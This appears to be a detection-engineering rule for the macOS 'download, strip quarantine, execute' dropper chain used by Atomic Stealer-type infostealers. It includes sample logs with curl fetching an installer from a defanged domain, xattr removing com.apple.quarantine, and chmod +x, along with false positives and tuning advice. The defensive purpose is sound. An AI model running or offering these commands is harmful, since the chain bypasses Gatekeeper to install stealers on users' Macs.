Quarantine-Bypass Dropper Pattern (curl | chmod | execute)
Detects the classic macOS infostealer dropper chain: downloading an executable with curl, clearing the com.apple.quarantine extended attribute to bypass Gatekeeper, making it executable, and running it -- the pattern used by Atomic Stealer and similar commodity malware delivered via fake software/cracked-app sites.
Updated Oct 29, 2026 · Detection Engineering Team
Problem Statement
This exact three-step chain -- download, strip quarantine, execute -- is the delivery mechanism behind most 2026 macOS commodity stealers distributed via fake cracked-software and "update your browser" sites, because it reliably defeats Gatekeeper without needing a valid Developer ID signature.
Sample Logs
{"event":"process.exec","timestamp":"2026-10-29T18:05:01Z","host":"MACBOOK-D4","user":"ksmith","image":"/usr/bin/curl","command_line":"curl -o /tmp/Installer.dmg https://macos-update-pkg[.]net/Installer.dmg"}{"event":"process.exec","timestamp":"2026-10-29T18:05:22Z","host":"MACBOOK-D4","user":"ksmith","image":"/usr/bin/xattr","command_line":"xattr -d com.apple.quarantine /tmp/Installer.app"}{"event":"process.exec","timestamp":"2026-10-29T18:05:25Z","host":"MACBOOK-D4","user":"ksmith","image":"/bin/chmod","command_line":"chmod +x /tmp/Installer.app/Contents/MacOS/Installer"}Required Fields
False Positives
- ·Developers clearing quarantine on self-compiled or internally-distributed unsigned tools
- ·Homebrew casks that legitimately clear quarantine as part of install (baseline brew's own process tree)
Tuning Guidance
Correlate all three steps within a short time window (5 minutes is a reasonable default) and same host/user rather than alerting on any single step in isolation, since curl and chmod individually are far too common to alert on alone. Exclude known package manager process trees (Homebrew, MacPorts).